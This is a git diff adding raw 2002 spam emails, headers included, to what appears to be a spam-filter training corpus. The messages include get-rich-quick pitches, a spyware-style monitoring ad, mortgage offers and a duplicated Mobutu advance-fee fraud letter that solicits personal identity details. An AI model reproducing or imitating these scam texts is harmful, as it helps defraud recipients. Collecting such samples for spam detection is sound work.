+ICANCiAgPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50 +PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9SVNPLTg4NTktMSI+DQogIDx0aXRsZT5N +aWdodHkgSmV0PC90aXRsZT4NCjwvaGVhZD4NCiAgPGJvZHk+DQogICAgIA0K +PHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMiIgYm9yZGVy +PSIwIiB3aWR0aD0iMTAwJSI+DQogICAgIDx0Ym9keT4NCiAgICAgICA8dHI+ +DQogICAgICAgICA8dGQgdmFsaWduPSJUb3AiIGJnY29sb3I9ImJsYWNrIj4g +ICAgICAgICAgICAgICAgICAgICANCiAgICAgIDxkaXYgYWxpZ249IkNlbnRl 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b/bayes/spamham/spam_2/00380.717154ebf88ae594956736cc50bdeaf4 new file mode 100644 index 0000000..f1f2524 --- /dev/null +++ b/bayes/spamham/spam_2/00380.717154ebf88ae594956736cc50bdeaf4 @@ -0,0 +1,191 @@ +From Matthew_Morrow@optinunlimited.com Mon Jun 24 17:05:21 2002 +Return-Path: Matthew_Morrow@optinunlimited.com +Delivery-Date: Mon May 20 18:01:43 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4KH1fe18872 for + ; Mon, 20 May 2002 18:01:41 +0100 +Received: from relay19 (host.optinunlimited.com [65.124.111.194]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4KH1dD21334 for + ; Mon, 20 May 2002 18:01:40 +0100 +Received: from html ([192.168.0.12]) by relay19 (8.11.6/8.11.6) with SMTP + id g4L55DH27561; Tue, 21 May 2002 01:05:13 -0400 +Message-Id: <200205210505.g4L55DH27561@relay19> +From: Matthew_Morrow@optinunlimited.com +To: jwormleaton@dofa.gov.au +Subject: About Your Commissions... +Date: Mon, 20 May 2002 00:59:12 +MIME-Version: 1.0 +X-Keywords: +Content-Type: text/html; charset="DEFAULT" + + + +About your commissions + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + +
    +
    +
    + + + + + + +
    +

    That's + the first thing they said to me... 

    +

    "About + your commissions, you might want to sit down...". And then + they told me how big the check was and they were right, I was + glad I took a seat because I almost passed out.

    +

    My name is + Matt Morrow and I've seen a lot of stuff over the +years but nothing + like this...  The marketing system I've been using for + the past 6 months to create this virtual flood of cash is about + to be released as the "Multiple + Income Stream Generator".  Let me assure + you.... you've never seen anything like it.  This + marketing system is the easiest way for anyone to make an + additional income that can grow to...well, the sky's +the limit!  

    +

    YOUR + SPECIAL ARRANGEMENT... ARE YOU SITTING +DOWN?

    +

    The founders + of the company have decided to open this system up on +a LIMITED + Beta Tester level to prove that anyone can make money with this + system. I have + made a special arrangement to allow YOU to be one of + the beta testers  

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    What does + this mean for you?

    +

    An opportunity + use this system before it is out of Beta Testing +phase to make an additional $50,000 - $250,000 per year.

    +

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    NO + SPECIAL SKILLS, NO EXPERIENCE IS +NECESSARY!

    +

    I +have determined + this marketing system to be the easiest way for +anyone to make + an additional income 

    +

    Current members + are making thousands every week!

    +

    If you are + looking for a no-brainer solution to making an +additional $50,000 + - $250,000 per year, this is your ticket, if you +qualify.

    +

    Click + + Here to see if + you qualify as a Beta Tester.

    +

     

    + +     		+
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    +
    +
    + + + + + + +
    The previous +was an advertisement. + The views expressed in it are those of the Referralware only. +As with + any business you could make more or less money than the +results described. + Your results will be based on your individual monetary investments, + business experience, expertise, and your level of desire. There are no + guarantees concerning the level of success you may +experience, other than + Referralware's product performance & return policy, if +applicable. +
    + +
    +

    + + + + +
    +

    You are receiving this email + as a subscriber to the DealsUWant mailing list. To remove yourself + from this and related email lists click here:
    + UNSUBSCRIBE MY +EMAIL

    + +


    + Under Bill(s) 1618 TITLE III by the 105 US Congress, per Section + 301, Paragraph(a)(2)of S. 1618, a letter cannot be considered + Spam if the sender includes contact information and a method + of "removal".     +

    +
    + + + + + diff --git a/bayes/spamham/spam_2/00381.004cefb51e415fe5c45a3a97091bf978 b/bayes/spamham/spam_2/00381.004cefb51e415fe5c45a3a97091bf978 new file mode 100644 index 0000000..00d354c --- /dev/null +++ b/bayes/spamham/spam_2/00381.004cefb51e415fe5c45a3a97091bf978 @@ -0,0 +1,49 @@ +From ly9qowv6r47@hotmail.com Mon Jun 24 17:05:00 2002 +Return-Path: ly9qowv6r47@hotmail.com +Delivery-Date: Sun May 19 15:41:16 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4JEfAe16599 for + ; Sun, 19 May 2002 15:41:10 +0100 +Received: from backoffice.alwaystec.com.br (RJ232096.user.veloxzone.com.br + [200.165.232.96]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with + ESMTP id g4JEf6D15287 for ; Sun, 19 May 2002 15:41:07 + +0100 +Received: from mx12.hotmail.com (ACBF1E9F.ipt.aol.com [172.191.30.159]) by + backoffice.alwaystec.com.br with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2448.0) id LDY13DX9; Sun, 19 May 2002 11:02:04 -0300 +Message-Id: <0000545d4054$00006130$00007e2e@mx12.hotmail.com> +To: +Cc: , , , , + , +From: "Faith" +Subject: Secretly Record all internet activity on any computer... BV +Date: Sun, 19 May 2002 07:34:38 -1900 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Reply-To: ly9qowv6r47@hotmail.com +X-Keywords: +Content-Transfer-Encoding: 7bit + +FIND OUT WHO THEY ARE CHATTING/E-MAILING WITH ALL THOSE HOURS! + +Is your spouse cheating online? + +Are your kids talking to dangerous people on instant messenger? + +Find out NOW! - with Big Brother instant software download. + + +Click on this link NOW to see actual screenshots and to order! +http://213.139.76.69/ec/bigbro/M30/index.htm + + + + + + + + + +To be excluded from future contacts please visit: +http://213.139.76.69/PHP/remove.php +danie diff --git a/bayes/spamham/spam_2/00382.2e6245e7b689da67dc8cf1a600d804fa b/bayes/spamham/spam_2/00382.2e6245e7b689da67dc8cf1a600d804fa new file mode 100644 index 0000000..1adb916 --- /dev/null +++ b/bayes/spamham/spam_2/00382.2e6245e7b689da67dc8cf1a600d804fa @@ -0,0 +1,39 @@ +From super4_31r@pac6.westernbarge.com Mon Jun 24 17:05:11 2002 +Return-Path: super4_31r@pac6.westernbarge.com +Delivery-Date: Mon May 20 08:20:08 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4K7K7e27259 for + ; Mon, 20 May 2002 08:20:07 +0100 +Received: from pac6.westernbarge.com ([216.190.134.88]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4K7K4D18703 for + ; Mon, 20 May 2002 08:20:06 +0100 +Date: Mon, 20 May 2002 00:24:01 -0400 +Message-Id: <200205200424.g4K4O1X03993@pac6.westernbarge.com> +From: super4_31r@pac6.westernbarge.com +To: pqfkjurbud@pac6.westernbarge.com +Reply-To: super4_31r@pac6.westernbarge.com +Subject: "Great FREE Offers!" naaqd +X-Keywords: + +Lower your mortgage rate and/or payment! FREE Quote! +http://hey11.heyyy.com/freeservices/mortgage/ + +Extend your car's warranty! Even older cars. +Save 40-60% off regular price! FREE Quote! +http://hey11.heyyy.com/freeservices/warranty/ + +Life Insurance -- just pennies a day! FREE Quote! +You can save BIG here! +http://hey11.heyyy.com/freeservices/termquote/ + +Top Drawer Lawyers -- working for YOU! Just pennies a day. +Find out more for FREE! +http://hey11.heyyy.com/freeservices/legalservices/ + + + +============================================== +To unsubscribe, use the link below. +http://hey11.heyyy.com/removal/remove.htm +Allow 72 hours for removal. + diff --git a/bayes/spamham/spam_2/00383.14f8e467cb84b977c33f422d7d1691e6 b/bayes/spamham/spam_2/00383.14f8e467cb84b977c33f422d7d1691e6 new file mode 100644 index 0000000..c775813 --- /dev/null +++ b/bayes/spamham/spam_2/00383.14f8e467cb84b977c33f422d7d1691e6 @@ -0,0 +1,68 @@ +From bacraver@imail.ru Mon Jun 24 17:05:33 2002 +Return-Path: bacraver@imail.ru +Delivery-Date: Tue May 21 10:04:08 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4L945e30589 for + ; Tue, 21 May 2002 10:04:06 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4L941D24574 for + ; Tue, 21 May 2002 10:04:04 +0100 +Received: from eastedu.com ([61.139.77.143]) by webnote.net (8.9.3/8.9.3) + with ESMTP id KAA22082 for ; Tue, 21 May 2002 10:03:59 + +0100 +From: bacraver@imail.ru +Received: from relay3.aport.ru [62.160.96.7] by eastedu.com with ESMTP + (SMTPD32-7.10 EVAL) id AB47A4902A4; Mon, 20 May 2002 05:38:15 +0800 +Message-Id: <00007f985ced$00000065$00007c23@relay3.aport.ru> +To: , , , + , , , + , , , + , , +Subject: Lowest mortgage loan rates VKP +Date: Sun, 19 May 2002 15:40:48 -1800 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Reply-To: bacraver@imail.ru +X-Mailer: : AOL 7.0 for Windows US sub 118 +X-Priority: : 2 +X-Keywords: +Content-Transfer-Encoding: 7bit + +Commentary + + + +It is time to refinance! + +Your credit does not matter, we can approve anyone. + +Now is the time to let some of the top mortgage companies +in the country compete for your business. + +If you have good credit we will give you the most amazing +rates available anywhere! + +If you have poor credit, don't worry! We can still refinance +you with the most competitive rates in the industry! + + +Let Us put Our Expertise to Work for You! +http://64.21.33.238/74205/ + +Or site 2 +http://64.21.33.238/74206/ + + + + + + + + + + + + +Erase +http://64.21.33.238/optout.htm + diff --git a/bayes/spamham/spam_2/00384.ffe5f36fc3c40673d4313db5e579e33d b/bayes/spamham/spam_2/00384.ffe5f36fc3c40673d4313db5e579e33d new file mode 100644 index 0000000..0ba90da --- /dev/null +++ b/bayes/spamham/spam_2/00384.ffe5f36fc3c40673d4313db5e579e33d @@ -0,0 +1,95 @@ +From liveq3035@finit.hu Mon Jun 24 17:05:05 2002 +Return-Path: liveq3035@finit.hu +Delivery-Date: Sun May 19 22:52:29 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4JLqOe31459 for + ; Sun, 19 May 2002 22:52:24 +0100 +Received: from mail.grossfld.com.hk (IDENT:root@c40.h061016008.is.net.tw + [61.16.8.40]) by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id + g4JLqKD16885 for ; Sun, 19 May 2002 22:52:22 +0100 +Received: from mail.cinfo.ru (ppp98.dyn216.pacific.net.ph [210.23.216.98] + (may be forged)) by mail.grossfld.com.hk (8.9.3/8.9.3) with ESMTP id + GAA01681; Mon, 20 May 2002 06:04:55 +0800 +From: liveq3035@finit.hu +Message-Id: <0000341d5b89$00003356$00004c75@xa2.so-net.or.jp> +To: <16727779@pager.icq.com>, , , + , , , + , , <16727801@pager.icq.com>, + <1672775@pager.icq.com>, , , + , , + <16727766@pager.icq.com>, , , + , , , + , , + , , , + , , , + , , , + , , , + , , , + , , + , , , + , , , + , , +Subject: Attract Women and Men NFT +Date: Sun, 19 May 2002 14:52:00 -1900 +MIME-Version: 1.0 +Reply-To: hacker7893051@alten.fr +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +  iber
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    + + + + diff --git a/bayes/spamham/spam_2/00391.6086519216f6de15fecaeffdb51ff3a7 b/bayes/spamham/spam_2/00391.6086519216f6de15fecaeffdb51ff3a7 new file mode 100644 index 0000000..f5abe9f --- /dev/null +++ b/bayes/spamham/spam_2/00391.6086519216f6de15fecaeffdb51ff3a7 @@ -0,0 +1,395 @@ +From 51198991666@baugeschichte.rwth-aachen.de Mon Jun 24 17:05:11 2002 +Return-Path: 51198991666@baugeschichte.rwth-aachen.de +Delivery-Date: Mon May 20 08:04:06 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4K743e26601 for + ; Mon, 20 May 2002 08:04:03 +0100 +Received: from gostship.com ([61.79.155.10]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g4K740D18661 for + ; Mon, 20 May 2002 08:04:00 +0100 +Received: from mail.club-internet.fr (ppp130.dyn216.pacific.net.ph + [210.23.216.130] (may be forged)) by gostship.com (8.11.6/8.11.6) with + ESMTP id g4K6x6j15819; Mon, 20 May 2002 15:59:07 +0900 +Message-Id: <0000722c076a$000078d5$00006eec@xa2.so-net.or.jp> +To: <16727779@pager.icq.com>, , , + , , , + , , <16727801@pager.icq.com>, + <1672775@pager.icq.com>, , , + , , + <16727766@pager.icq.com>, , + , , , + , , + , , , + , , , + , , , + , , , + , , + , , , + , , + , , , + , , + , , +From: 51198991666@baugeschichte.rwth-aachen.de +Subject: judicial judgments-child support LM +Date: Sun, 19 May 2002 23:59:13 -1900 +MIME-Version: 1.0 +Reply-To: 51198991666@baugeschichte.rwth-aachen.de +X-Keywords: +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Thank you for your interest!
    +
    +Judgment Courses offers an extensive training
    +course in     "How to Collect MoneyJudgments"
    +
    +If you are like many people, you are not even sure what a
    +Money Judgment is and     why processing Money Judgments
    +can earn you very substantial income     .
    +
    +If you ever sue a company or a person and you win then you
    +will have a Money Judgment against them.
    +
    +You are happy you won but you will soon find out the
    +shocking fact: "Its now up to you to collect on the
    +Judgment". The court does not require the loser to pay you.
    +The court will not even help you. You must trace the loser
    +down, find their assets, their employment, bank accounts,
    +real estate, stocks and bonds, etc.
    +
    +Very few people know how to find these assets or what to do
    +when they are found. The result is that millions of
    +Judgments are just sitting in files and being forgotten.
    +
    +"In 79% of the cases the winner of a Judgment never sees a
    +dime."
    +
    +The non-payment of judicial debt has grown to epidemic
    +proportions. Right now in the United States there is
    +between     200 and 300 billion dollars of uncollectedMoney
    +Judgment debt     . For every Judgment that is paid, 5more
    +Judgments take its place.
    +
    +We identified this massive market 8 years ago and have
    +actively pursued Judicial Judgments since. We invented this
    +business. We have perfected it into a well proven and solid
    +profession in which only a select few will be trained in the
    +techniques necessary to succeed.
    +
    +With our first hand experience we have built a course which
    +teaches you how to start your business in this new unknown
    +and exciting field of processing Money Judgments.
    +
    +By following the steps laid out in our course and with
    +reasonable effort you can become very successful in the
    +processing of Money Judgments.
    +
    +The income potential is substantial in this profession.     We +have associates who have taken our course and are now
    +working full time making $96,000.00 to over $200,000.00 per
    +year. Part time associates are earning between $24,000.00
    +and $100,000.00 per year     . Some choose to operateout of
    +their home and work by themselves. Others build a sizable
    +organization of 15 to 25 people in attractive business
    +offices.
    +
    +Today our company and our associates have over 126
    +million dollars in Money Judgments that we are currently
    +processing. Of this 126 million, 25 million is in the form
    +of joint ventures between our firm and our associates.
    +Joint ventures are where we make our money. We only break
    +even when our course is purchased. We make a 12% margin on
    +the reports we supply to our associates. Our reporting
    +capability is so extensive that government agencies, police
    +officers, attorneys, credit agencies etc., all come to us
    +for reports.
    +
    +
    +Many of our associates already have real estate liens in
    +force of between 5 million to over 15 million dollars.
    +Legally this means that when the properties are sold or
    +refinanced our associate must be paid off. The norm is 10%
    +interest compounded annually on unpaid Money Judgments.
    +Annual interest on 5 million at 10% translates to
    +$500,000.00 annually in interest income, not counting the
    +payment of the principal.
    +
    +Our associates earn half of this amount or $250,000.00 per
    +year. This is just for interest, not counting principle
    +and not counting the compounding of the interest which can
    +add substantial additional income. Typically companies are
    +sold for 10 times earnings. Just based on simple interest
    +an associate with 5 million in real estate liens could sell
    +their business for approximately 2.5 million dollars.
    +
    +92% of all of our associates work out of their home; 43%
    +are women and 36% are part time .
    +
    +One of the benefits of working in this field is that you are
    +not under any kind of time frame. If you decide to take off
    +for a month on vacation then go. The Judgments you are
    +working on will be there when you return. The Judgments
    +are still in force, they do not disappear.
    +
    +The way we train you is non-confrontational. You use your
    +computer and telephone to do most of the processing. You
    +never confront the debtor. The debtor doesn't know who you
    +are. You are not a collection agency.
    +
    +Simply stated the steps to successful Money Processing
    +are as follows:
    +
    +Mail our recommended letter to companies and individuals
    +with Money Judgments. (We train you how to find out who
    +to write to)
    +
    +8% to 11% of the firms and people you write will call you
    +and ask for your help. They call you, you don't call them
    +unless you want to.
    +
    +You send them an agreement (supplied in the course) to
    +sign which splits every dollar you collect 50% to you and
    +50% to them. This applies no matter if the judgment is for
    +$2,000.00 or $2,000,000.00.
    +
    +You then go on-line to our computers to find the debtor
    +and their assets. We offer over 120 powerful reports to
    +assist you. They range from credit reports from all three
    +credit bureaus, to bank account locates, employment
    +locates, skip traces and locating stocks and bonds, etc.
    +The prices of our reports are very low. Typically 1/2 to
    +1/3 of what other firms charge. For example we charge
    +$6.00 for an individuals credit report when some other
    +companies charge $25.00.
    +
    +Once you find the debtor and their assets you file
    +garnishments and liens on the assets you have located.
    +(Standard fill in the blanks forms are included in the
    +course)
    +
    +When you receive the assets you keep 50% and send 50% to
    +the original Judgment holder.
    +
    +Once the Judgment is fully paid you mail a Satisfaction of
    +Judgment to the court. (Included in the course)
    +
    +Quote's from several of our students:
    +
    +Thomas in area code 516 writes us: "I just wanted to drop
    +you a short note thanking you for your excellent course.     My
    +first week, part time, will net me 3,700.00 dollars     .Your
    +professionalism in both the manual and your support.
    +You have the video opened doors for me in the future.
    +There's no stopping me now. Recently Thomas states
    +he has over $8,500,000 worth of judgments he is working on"
    +
    +After only having this course for four months, Larry S. in
    +area code 314 stated to us:     "I am now making $2,000.00 per
    +week     and expect this to grow to twice this amountwithin the
    +next year. I am having a ball. I have over $250,000 in
    +judgments I am collecting on now"
    +
    +After having our course for 7 months Larry S. in 314 stated
    +"I am now making $12,000.00 per month and have approximately
    +$500,000.00 in judgments I am collecting on. Looks like I
    +will have to hire someone to help out"
    +
    +Marshal in area code 407 states to us "I feel bad, you only
    +charged me $259.00 for this course and it is a goldmine. I
    +have added 3 full time people to help me after only having
    +your course for 5 months"
    +
    +>From the above information and actual results you can see
    +why we can state the following:
    +
    +With our course you can own your own successful business.
    +A business which earns you substantial income now and one
    +which could be sold in 3-5 years, paying you enough to
    +retire on and travel the world. A business which is
    +extremely interesting to be in. A Business in which every
    +day is new and exciting.
    +
    +None of your days will be hum-drum. Your brain is
    +Challenged. A business, which protects you from Corporate
    +Downsizing. A business which you can start part time from
    +your home and later, if you so desire, you can work in full
    +time. A business, which is your ticket to freedom from
    +others telling you what to do. A business, which lets you
    +control your own destiny. Our training has made this happen
    +for many others already. Make it happen for you!
    +
    +If the above sounds interesting to you then its time for you
    +to talk to a real live human being, no cost or obligation
    +on your part.
    +
    +    Please call us at 1-281-500-4018.
    +
    +We have Service Support     staff available to you from 8:00am to
    +10:00pm (Central Time) 7 days a week     . If you callthis num= +ber
    +you can talk to one of our experienced Customer Support personnel.
    +They can answer any questions you may have - with no obligation.
    +Sometimes we run special pricing on our courses and combinations
    +of courses. When you call our Customer Support line they can let
    +you know of any specials we may be running. If you like what you
    +read and hear about our courses, then the Customer Support person
    +can work with you to place your order. We are very low key. We
    +merely give you the facts and you can then decide if you want to
    +work with us or not.
    +
    +Thank you for your time and interest.
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +    +++++
    +This ad is produced and sent out by:
    +UAS
    +To be deleted from our mailing list please email us at roanna@elitists.co= +m with "delete" in the sub-line.
    +or write us at:AdminScript-Update, P O B 1 2 0 0, O r a n g e s t a d, A = +r u b a
    +++++++
    +
    +
    +
    TO48 5-19 C18 P +
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    3245611515161654646565 +
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    processing----------- for--------- your------------ future +
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    unbelievable + + + + diff --git a/bayes/spamham/spam_2/00392.f494d12cb0d5daaead0e7f10f8afaef1 b/bayes/spamham/spam_2/00392.f494d12cb0d5daaead0e7f10f8afaef1 new file mode 100644 index 0000000..6a09c1d --- /dev/null +++ b/bayes/spamham/spam_2/00392.f494d12cb0d5daaead0e7f10f8afaef1 @@ -0,0 +1,177 @@ +From jennifer@attorneyconnectionsinc.com Mon Jun 24 17:05:28 2002 +Return-Path: jennifer@attorneyconnectionsinc.com +Delivery-Date: Tue May 21 04:32:45 2002 +Received: from cheney.attorneysonlineinc.com + (ca-crlsbd-u4-c5d-242.crlsca.adelphia.net [68.64.222.242]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4L3VZe19172 for + ; Tue, 21 May 2002 04:31:36 +0100 +Received: from local.com ([192.168.0.1]) by cheney.attorneysonlineinc.com + with Microsoft SMTPSVC(5.0.2195.1600); Mon, 20 May 2002 12:43:47 -0700 +From: "Jennifer Enriquez" +To: webmaster@efi.ie +Subject: MCLE Seminars +Date: Mon, 20 May 2002 12:46:42 -0700 +X-Mailer: Dundas Mailer Control 1.0 +MIME-Version: 1.0 +Message-Id: +X-Originalarrivaltime: 20 May 2002 19:43:47.0899 (UTC) FILETIME=[A8BD08B0:01C20036] +X-Keywords: +Content-Type: text/html; charset="US-ASCII" + + + +MCLE Seminars + + + + + + + +
    +

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    + Cost: $795*
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    + Register and pay by May 31 and recieve 10% off! ($715.50)

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    + Audio Materials for remaining MCLE
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AND How! + +TO ORDER YOUR FREE SAMPLE AND TAPE SEND YOUR +REQUEST TO: + +LOOKYOUNGNOW2000@YAHOO.COM + +Subject: subscribe to Free Sample: + +Your Name: ................... +Street address: .............. +City: ........................ +State and zip code: .......... +Email address: ............... + + + + +sxjrohvneydjgucyfa diff --git a/bayes/spamham/spam_2/00400.9360c6d3f34caf75a4c5439852153b71 b/bayes/spamham/spam_2/00400.9360c6d3f34caf75a4c5439852153b71 new file mode 100644 index 0000000..1fc9159 --- /dev/null +++ b/bayes/spamham/spam_2/00400.9360c6d3f34caf75a4c5439852153b71 @@ -0,0 +1,106 @@ +From seseko7@worldemail.com Mon Jun 24 17:05:28 2002 +Return-Path: seseko7@worldemail.com +Delivery-Date: Tue May 21 05:02:56 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4L42te20308 for + ; Tue, 21 May 2002 05:02:56 +0100 +Received: from mandark.labs.netnoteinc.com (host-217-146-15-10.warsun.com + [217.146.15.10] (may be forged)) by mandark.labs.netnoteinc.com + (8.11.2/8.11.2) with SMTP id g4L42lD23629 for ; + Tue, 21 May 2002 05:02:52 +0100 +Message-Id: <200205210402.g4L42lD23629@mandark.labs.netnoteinc.com> +From: "moshood seko" +Date: Tue, 21 May 2002 05:00:40 +To: yyyy@netnoteinc.com +Subject: hello +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +X-Keywords: +Content-Transfer-Encoding: 7bit + +FROM=SEKO MOSHOOD MOBUTU + +Tel=234-1-776-2397 + +Dear Friend + + I am the first son of the late Mobutu Sese Seko, the +former + President + of the Congo Republic. I am presently under +protective custody + in Nigeria + as +a political refugee. I got your contact over the internet during my +search for a + stranger + that +can cooperate with me in this mutual transaction.i took this option because my family friends and associates cpuld not be trusted any more since they contributed to my present predicament. + +I want you to note that this business will benefit +both of us. + However, +you must confirm your ability to handle this because +it involves + a large +amount of money. The money (50 million US DOLLARS is +my share of + my + father's +estate. I boxed and shipped the money to a security +company + abroad at the +peak of the war/political crisis that rocked my +country few + years ago. Now +the crisis has ended and I need a trustworthy person +like you to + proceed to +the place of the security company in order to clear +the fund and + invest on +my behalf as I dont want my name to be used for now. + +Note that I will send to you the relevant documents +that will + enable +you take possesion of the the fund for onward +investment for our + mutual +benefit. All I need from you is as follows: + +1. A letter of committment (duely signed) that you +will keep the +transaction strictly confidential. +2. Your confirmation of your ability to handle this. +3. Your international identity or driving licence +number for + identification +to the security company. +4. Your telephone and fax numbers for communication. +5. Your full permanent address. + +As soon as I get the above information from you, I +will disclose + to +you the name and the country of the security company. +I will + forward your +name and particulars to the security company to enable + them contact you +accordingly. I will also send to you a LETTER OF +AUTHORITY to + enable you +clear the fund on my behalf. Note that this is a very +safe + transaction as +this money is my share of my father'sestate. + + I am waiting for your response to enable us proceed. + + Regards, + +Moshood Seko Mobutu + + + diff --git a/bayes/spamham/spam_2/00401.31d8ded049967dc48ebb564288733e81 b/bayes/spamham/spam_2/00401.31d8ded049967dc48ebb564288733e81 new file mode 100644 index 0000000..885d073 --- /dev/null +++ b/bayes/spamham/spam_2/00401.31d8ded049967dc48ebb564288733e81 @@ -0,0 +1,58 @@ +From yana_korshun@mail.ru Mon Jun 24 17:05:31 2002 +Return-Path: yana_korshun@mail.ru +Delivery-Date: Tue May 21 07:51:57 2002 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4L6pve25858 for + ; Tue, 21 May 2002 07:51:57 +0100 +Received: from MailUser (nas3-user93.donbass.net [195.184.195.93]) by + webnote.net (8.9.3/8.9.3) with SMTP id HAA21913 for ; + Tue, 21 May 2002 07:51:49 +0100 +Message-Id: <200205210651.HAA21913@webnote.net> +Reply-To: Yana Korshun +From: "Yana Korshun" +To: "" +Subject: digital voice recorders +Sender: "Yana Korshun" +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Tue, 21 May 2002 09:53:34 +0400 +X-Keywords: + +Dear Sir/Madam + +Our company is designer and manufacturer of digital voice recorders (DVR) Edic-mini http://www.telesys.ru/english/edic-mini.shtml with extraordinary characteristics: +Edic-mini model A - the smallest size over the world (17x57x10 mm), up to 1120 min of record time. +Edic-mini model B - the longest battery life (up to 70 hours in record mode, metal case 27x54x7 mm), up to 1120 min of recording time. +Edic-mini model B1 - the roundest DVR in the world :-) (metal case d=30 mm, h=14 mm), up to 1120 min of recording time. +Edic-mini model C - the longest recording time (up to 8960 min =149 hours), metal case 27x54x10 mm. + Coming soon: +Edic-mini model S - stereo digital voice recorder. +Edic-mini BW1 - round wood (juniper) case (for lovers of juniper fragrance :-), the most stylish DVR in the world. + +All digital voice recorders have extremely high voice sensitivity, digital PC interface, telephone line interface to record phone conversations, programmable user's interface, ability of using it for data storage and transfer (capacity from 16Mbyte to 1Gbyte). + +Also we produce voice modules (assembled PCB only) EMM http://www.telesys.ru/english/modules.shtml, which are Edic-mini compatible and allow you to create your own solution of unique DVR. + +We are looking for dealers for selling our product, but pls note, that we don't offer cheap product, we offer unique one - it has no competitors in the word market now. We are ready to design and produce any kind of DVR upon your request. Low volume order (100+) is acceptable too. + +Welcome to our website http://www.telesys.ru/english to get more information. + +*** Sorry, if this information isn't interesting for you. To remove your address from our mailing list pls return this e-mail back with REMOVE in subject field . + +Thank you. + +With best regards, +------------------------------------- +Yana Korshun, +Sales manager of "Telesystems" +E-mail: isales@telesys.ru +WWW site in Russian: http://www.telesys.ru +WWW site in English: http://www.telesys.ru/english + + + + + + +NEVER SEND SPAM. IT IS BAD. + diff --git a/bayes/spamham/spam_2/00402.3cb789dea6bc3f321cc15730f3048ff2 b/bayes/spamham/spam_2/00402.3cb789dea6bc3f321cc15730f3048ff2 new file mode 100644 index 0000000..eb0ad85 --- /dev/null +++ b/bayes/spamham/spam_2/00402.3cb789dea6bc3f321cc15730f3048ff2 @@ -0,0 +1,106 @@ +From seseko1@worldemail.com Mon Jun 24 17:05:29 2002 +Return-Path: seseko1@worldemail.com +Delivery-Date: Tue May 21 06:39:30 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g4L5dUe23666 for + ; Tue, 21 May 2002 06:39:30 +0100 +Received: from mandark.labs.netnoteinc.com (host-217-146-15-10.warsun.com + [217.146.15.10] (may be forged)) by mandark.labs.netnoteinc.com + (8.11.2/8.11.2) with SMTP id g4L5bvD23901 for ; + Tue, 21 May 2002 06:38:11 +0100 +Message-Id: <200205210538.g4L5bvD23901@mandark.labs.netnoteinc.com> +From: "moshood seko" +Date: Tue, 21 May 2002 06:35:50 +To: yyyy@netnoteinc.com +Subject: hello +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +X-Keywords: +Content-Transfer-Encoding: 7bit + +FROM=SEKO MOSHOOD MOBUTU + +Tel=234-1-776-2397 + +Dear Friend + + I am the first son of the late Mobutu Sese Seko, the +former + President + of the Congo Republic. I am presently under +protective custody + in Nigeria + as +a political refugee. I got your contact over the internet during my +search for a + stranger + that +can cooperate with me in this mutual transaction.i took this option because my family friends and associates cpuld not be trusted any more since they contributed to my present predicament. + +I want you to note that this business will benefit +both of us. + However, +you must confirm your ability to handle this because +it involves + a large +amount of money. The money (50 million US DOLLARS is +my share of + my + father's +estate. I boxed and shipped the money to a security +company + abroad at the +peak of the war/political crisis that rocked my +country few + years ago. Now +the crisis has ended and I need a trustworthy person +like you to + proceed to +the place of the security company in order to clear +the fund and + invest on +my behalf as I dont want my name to be used for now. + +Note that I will send to you the relevant documents +that will + enable +you take possesion of the the fund for onward +investment for our + mutual +benefit. All I need from you is as follows: + +1. A letter of committment (duely signed) that you +will keep the +transaction strictly confidential. +2. Your confirmation of your ability to handle this. +3. Your international identity or driving licence +number for + identification +to the security company. +4. Your telephone and fax numbers for communication. +5. Your full permanent address. + +As soon as I get the above information from you, I +will disclose + to +you the name and the country of the security company. +I will + forward your +name and particulars to the security company to enable + them contact you +accordingly. I will also send to you a LETTER OF +AUTHORITY to + enable you +clear the fund on my behalf. Note that this is a very +safe + transaction as +this money is my share of my father'sestate. + + I am waiting for your response to enable us proceed. + + Regards, + +Moshood Seko Mobutu + + + diff --git a/bayes/spamham/spam_2/00403.90a79abcb32065d5381a74a84da2e6bd 